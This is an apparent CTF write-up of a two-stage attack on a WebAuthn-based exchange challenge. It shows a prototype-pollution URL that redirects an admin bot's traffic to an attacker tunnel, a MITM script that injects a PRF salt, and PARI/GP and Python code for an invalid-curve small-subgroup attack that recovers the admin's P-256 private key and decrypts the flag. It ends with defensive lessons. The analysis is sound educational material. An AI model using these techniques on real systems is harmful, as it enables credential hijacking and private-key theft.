$ cat writeup.md…
$ cat writeup.md…
Securinets CTF Quals 2026
Task: sequel to Misdirection Part 1 (same Rust/axum + React + Playwright WebAuthn exchange); the deterministic signing nonce is fixed but a new PRF oracle computes sha256(x(d*P)) for attacker-supplied points. Solution: prototype-pollute the admin bot again, MITM-inject a prf.eval salt, run an invalid-curve small-subgroup attack, CRT the squares to remove the x-coordinate sign ambiguity, isqrt to the admin key, then AES-ECB decrypt the flag.
Sequel to
20261018_securinets2026_misdirection_part_1— same XChange app and web entry point, but the crypto primitive changed.
Misdirection: Part 2 — "Okay, get your own domain next time..."
XChange, the BTC exchange from Part 1: Rust (axum) backend, React frontend, Node/Playwright admin bot, nginx, PostgreSQL. WebAuthn/passkeys.
/api/admin/add_fundsmints funds (needsis_admin);/api/flagreturns the flag oncebalance >= 5,000,000.
English summary: the web foothold from Part 1 still works — the React frontend deep-merges ?settings= JSON into Object.prototype, and getAuthUrl() reads Object.prototype.baseURL, so /report drives the admin bot's WebAuthn traffic to an attacker URL. What changed is the crypto: the leaking deterministic ECDSA nonce is gone, and a new PRF oracle returns sha256(x(d·P)) for an attacker-chosen point P without validating it. That is a classic invalid-curve / small-subgroup static-DH oracle on the admin private key d, which we solved with CRT over squared residues.
nginx (frontend + /api proxy)
├── React SPA (frontend/) -- deepMerge(Object.prototype)
├── Rust axum API (backend/) -> Postgres, webauthn-rs
└── Node + Playwright bot (bot/) -- crawls reported URLs
| Endpoint | Notes |
|---|---|
| `POST /api/register_start | finish, POST /api/login_start |
POST /api/admin/add_funds | {amount:N} — requires is_admin |
GET /api/flag | flag when balance >= 5_000_000 |
POST /report | run the Playwright admin bot on a URL |
The frontend and backend are byte-identical; only the bot changed. Three points matter:
Deterministic nonce fixed. bot/authenticator.js now calls keyPair.sign(msgHash) with the library's default random (HmacDRBG) nonce. Part 1's k = SHA256(rpId) leak — which recovered d from a single signature — is dead. (d = (s·k − z)·r⁻¹ mod n no longer applies.)
New PRF oracle forgePrf(rpId, saltHex) in bot/authenticator.js:
const x = new BN(saltHex.slice(0, 64), 16), y = new BN(saltHex.slice(64, 128), 16); const d = new BN(ADMIN_PRIVATE_KEY, 16); const shared = scalarMultUnsafe(d, { x, y }); // <-- no point validation return sha256(shared.x.toArrayLike(Buffer, 'be', 32)).toString('hex');
bot/ec-math.js::scalarMultUnsafe does not validate that (x,y) lies on the P-256 curve, and does not reject a small-order or off-curve point. The salt is 64 bytes = x‖y of an arbitrary point; the 32-byte result is SHA-256(x(d·P)).
isValidRpId added to bot/browser-stub.js (rpId must equal the caller domain or a parent). This did not stop the attack: the hijack keeps rpId at the real domain, so the check always passes.
forgePrf fires when the login options carry a PRF extension salt:
// bot/browser-stub.js let userHandle = null; const salt = options.publicKey?.extensions?.prf?.eval?.first; if (salt) userHandle = forgePrf(rpId, salt); // hex string // ... userHandle (hex, base64url-decoded) is placed in the assertion's response.userHandle
Because the hijack already funnels the bot's login_finish body to us, we simply read response.userHandle from each captured assertion. One submitted /report = one oracle query on a chosen point P.
The chain reuses Part 1's web hijack and adds the crypto oracle. Overview:
Object.prototype.baseURL so the admin bot talks to our tunnel.register_* to the real backend, rewrite login_start/<bot> → login_start/admin, and inject extensions.prf.eval.first = salt into the returned options.userHandle per query → SHA-256(x(d·P)).P on an invalid curve, read d mod m up to sign, and remove the sign with CRT on the squares, then isqrt → d.AES-256-ECB decrypt the flag with key SHA-256(hex_string_of_d).The listener is essentially Part 1's MITM plus the salt injection. Submit with the frontend origin replaced by an internal bot origin by /report:
POST /report
{"url":"<FRONTEND_URL>/auth?settings={\"__proto__\":{\"baseURL\":\"https://<tunnel>/\"}}"}
The bot only needs to reach the listener from inside the challenge network, so a cloudflared quick tunnel is enough. The listener must answer with permissive CORS (Access-Control-Allow-Credentials: true, echoing the Origin) because the bot forces credentials: 'include'.
Oracle injection (per chosen point):
# in the MITM's /login_start/<x> handler r = sess.post(f"{REAL}/login_start/admin", timeout=15) data = r.json() data["publicKey"]["extensions"] = {"prf": {"eval": {"first": cur_salt_b64url}}} send(200, json.dumps(data)) # in the /login_finish handler, capture the oracle answer a = json.loads(body) answer_b64url = a["response"]["userHandle"] # base64url(sha256(x(d*P)))
salt is x‖y (32+32 bytes, big-endian) base64url-encoded. A batch runner loops over a point list, one /report per point (a ~1 s spacing avoids /report rate limits).
The math (bot/ec-math.js) uses a = -3 and the P-256 prime p. For an arbitrary candidate b, the point (x,y) need only satisfy that curve y² = x³ − 3x + b, where b = y² − x³ + 3x. Since P is never validated against the real curve, we can pick P on any curve of our choosing.
For a point P of order m, the oracle returns SHA-256(x(d·P)) = SHA-256(x((d mod m)·P)). We recover d mod m by brute-forcing j ∈ [1, m) and matching the hash of x(jP). To recover the full key we want many coprime small moduli whose product exceeds d² < 2^1524 — so collect points of prime-power order m = L^e < 2·10^5 across many random curves.
PARI/GP generates them cheaply: for random b, factor N = #E(F_p) with ellcard, take the L-power part m, and lift a random curve point to exact order m with Q = ellmul(E, R, N/m).
\\ collect_points.gp — gather L-power torsion points of order < 2e5 default(parisize, 1500000000); setrand(999); p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff; B = 200000; target = 2^1300; \\ target product of moduli (bits) acc = 1; out = "points.txt"; write(out, "# m x y"); { while(acc < target, b = random(p); if((b*b) % p == 4, next); E = ellinit([0,0,0,-3,b], p); N = ellcard(E); F = factor(N); for(i=1, #F~, L = F[i,1]; if(L < B, ee = F[i,2]; while(L^ee > B, ee = ee-1); m = L^ee; if(gcd(m, acc)==1, for(try=1, 300, x = random(p); rhs = Mod(x^3 - 3*x + b, p); if(issquare(rhs), y = lift(sqrt(rhs)); Q = ellmul(E, [x,y], N\m); if(Q != [0] && ellmul(E, Q, m\L) != [0], \\ exact order m write(out, m, " ", Q[1], " ", Q[2]); acc = acc * m; print("L=", L, " e=", ee, " m=", m, " bits=", log(acc)/log(2)); break; ); ); ); ); ); ); ); } print("DONE bits=", log(acc)/log(2));
In practice ~145 points were collected, product ≈ 2^1524.
# brute-force the residue from one oracle answer import hashlib def residue(m, x, y, answer_digest): P = (x, y); R = P for j in range(1, m): if hashlib.sha256(R[0].to_bytes(32, 'big')).digest() == answer_digest: return j R = add(R, P) # add() = P-256 a=-3 group law (solve2.py) return None
The trap: P and (m−j)P have the same x-coordinate, so the oracle only reveals d mod m up to sign:
r_i ≡ ±(d mod m_i).
Plain CRT over {r_i} with arbitrary signs produces garbage (observed 838–1524-bit nonsense), because the sign choices are independent. The fix is to square away the sign:
d² ≡ r_i² (mod m_i) for every modulus. Then CRT the squared residues to get D ≡ d² (mod M) with M = ∏ m_i ≈ 2^1524. Since d² < M, the CRT result is d², and d = isqrt(D).
#!/usr/bin/env python3 """x-only ECDH oracle => each residue is d mod m UP TO SIGN. Squares remove the sign: d^2 == r_i^2 (mod m_i). CRT then gives d^2 (if d^2 < product), and an integer square root recovers d.""" import hashlib, json, math, os, sys import solve2 as S # S.p, S.G, S.add, S.mul, S.TX/S.TY = admin pubkey from Crypto.Cipher import AES CT = bytes.fromhex("95dd589934994baf19ea2be1a85af6e209070891cb0412d8c27d081ed028e9dd" "16b04422103a1018d2355be9c6ecdcfd99b068fbb2bb8e3e3ee0cf577bdd1692") def residue(e): m, uh = e["m"], e.get("userHandle") if not uh: return None # genuine d==0 (mod m) OR a transient bot failure t = S.b64u_dec(uh) P = (e["x"], e["y"]); R = P for j in range(1, m): if hashlib.sha256(R[0].to_bytes(32, 'big')).digest() == t: return j R = S.add(R, P) return None def main(files): sq, seen = [], set() for fn in files: p = os.path.join(os.path.dirname(os.path.abspath(__file__)), fn) if not os.path.exists(p): continue for e in json.load(open(p)): m = e["m"] if m % 2 == 0: # even order -> doubling bug in scalarMultUnsafe continue r = residue(e) if r is None: continue # keep one modulus per distinct prime factor L L = next((q for q in range(2, int(m**0.5) + 1) if m % q == 0), m) if L in seen: continue seen.add(L) sq.append((m, r * r % m)) # <-- square kills the +/- ambiguity D, M = 0, 1 for m, r2 in sq: # incremental CRT t = ((r2 - D) % m) * pow(M % m, -1, m) % m D += M * t M *= m print("M bits", M.bit_length(), "D bits", D.bit_length()) d = math.isqrt(D) assert d * d == D, "not a perfect square (need more moduli)" print("recovered d bits:", d.bit_length()) # sanity: d*G must equal the admin passkey public key from the migration Q, Qn = (S.TX, S.TY), (S.TX, (-S.TY) % S.p) assert S.mul(d, S.G) in (Q, Qn) or S.mul(d % S.n, S.G) in (Q, Qn) # ---- AES-256-ECB decryption (key = SHA-256 of the hex STRING) ---- for hx in {format(d, 'x'), format(d, '064x'), format(d, 'x').upper()}: key = hashlib.sha256(hx.encode()).digest() pt = AES.new(key, AES.MODE_ECB).decrypt(CT) if b"Securinets" in pt: print("FLAG:", pt.decode(errors="replace")) if __name__ == "__main__": main(sys.argv[1:] or ["userhandles.json", "userhandles4.json", "uh5_0.json", "uh5_1.json", "uh5_2.json", "uh5_3.json"])
Notes that cost real time:
userHandle = null is ambiguous. It means d·P = O only when d ≡ 0 (mod m); but the bot also returns null on transient failures. Treat a null as "re-query", not as a proven residue, unless it is reproducible for the same salt.y = 0, and scalarMultUnsafe's doubling step divides by 2y = 0 → exception → null. Discard every even m.L (the code collapses L^e to factor L); mixing non-coprime moduli breaks CRT.CRT over ~145 coprime prime-power moduli gives D = d² (product ≈ 2^1524 > d²), and isqrt yields the 256-bit admin key d. Verification: d·G equals the admin passkey public key baked into the shipped Postgres migration
(x = qC5CC4Z5K5ivUuOJ5vd1adSLmpAtdC_fjneszFtbeP0, y = JlAks8nntAqY8whX9R_eIm9OoEBm6I-XGZrWIJaMFhQ).
recovered admin private key d = 0x<REDACTED 64-hex-char P-256 scalar>
The flag ciphertext is handed over ("ECB encrypted using the admin private key"):
95dd589934994baf19ea2be1a85af6e209070891cb0412d8c27d081ed028e9dd
16b04422103a1018d2355be9c6ecdcfd99b068fbb2bb8e3e3ee0cf577bdd1692
AES-256-ECB with the Part-1 misdirection repeated: the key is SHA-256 of the hex string of the private key, not the raw 32 key bytes:
from hashlib import sha256 from Crypto.Cipher import AES CT = bytes.fromhex("95dd5899...dd1692") # as above hx = format(d, "064x") # 64 lowercase hex chars, NOT bytes.fromhex(hx) key = sha256(hx.encode()).digest() pt = AES.new(key, AES.MODE_ECB).decrypt(CT) print(pt.decode(errors="replace")) # Securinets{REDACTED}
The natural byte-for-byte analogue of Part 1 — replay the bot's own captured admin assertion at the real POST /login_finish to mint funds — fails with HTTP 400. The bot hardcodes its sign counter to 1, while the live admin credential's stored counter is already ≥ 1; webauthn-rs rejects counter reuse, so the captured/forged assertion is refused. (Shifting the counter requires the private key — which is exactly what the oracle gives us, but at that point direct decryption is simpler.) Hence the flag was obtained by AES-ECB decryption of the shipped ciphertext rather than by minting funds.
Use this approach when you see:
userHandle, clientExtensionResults, or similar). Any PRF/DH output that depends on a secret scalar is an oracle.scalarMult / ECDH with no point-on-curve validation (scalarMultUnsafe) → invalid-curve attack: supply points on y² = x³ + ax + b' and read d mod m from the small-subgroup result.SHA-256(x(d·P)) (an x-coordinate only): P and (m−j)P share x, so each residue is ±(d mod m). Collect residues, square them, CRT the squares, isqrt — plain CRT is silently wrong.options.publicKey.extensions.prf.eval.first is present → you control both salt points and can read the result through the same bot/MITM you already hijacked.bot/*.js diffs rather than assuming the crypto path closed.keyPair.sign(msgHash) hardcodes a sign counter of 1 → live login replay returns HTTP 400 on counter reuse; prefer a derivation path that does not need a fresh assertion.y² = x³ + ax + b (mod p) for the expected curve, and reject small-order points (cofactor / [m]P == O checks). This one omission turns any DH/PKF output into a full key-extraction oracle.x(shared), be aware that squares leak d² mod m and CRT recovers d² — never emit raw shared x-coordinates.deepMerge attacker JSON into Object.prototype, and never read API origins from the prototype chain. The crypto oracle was only reachable because the bot was hijacked first.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar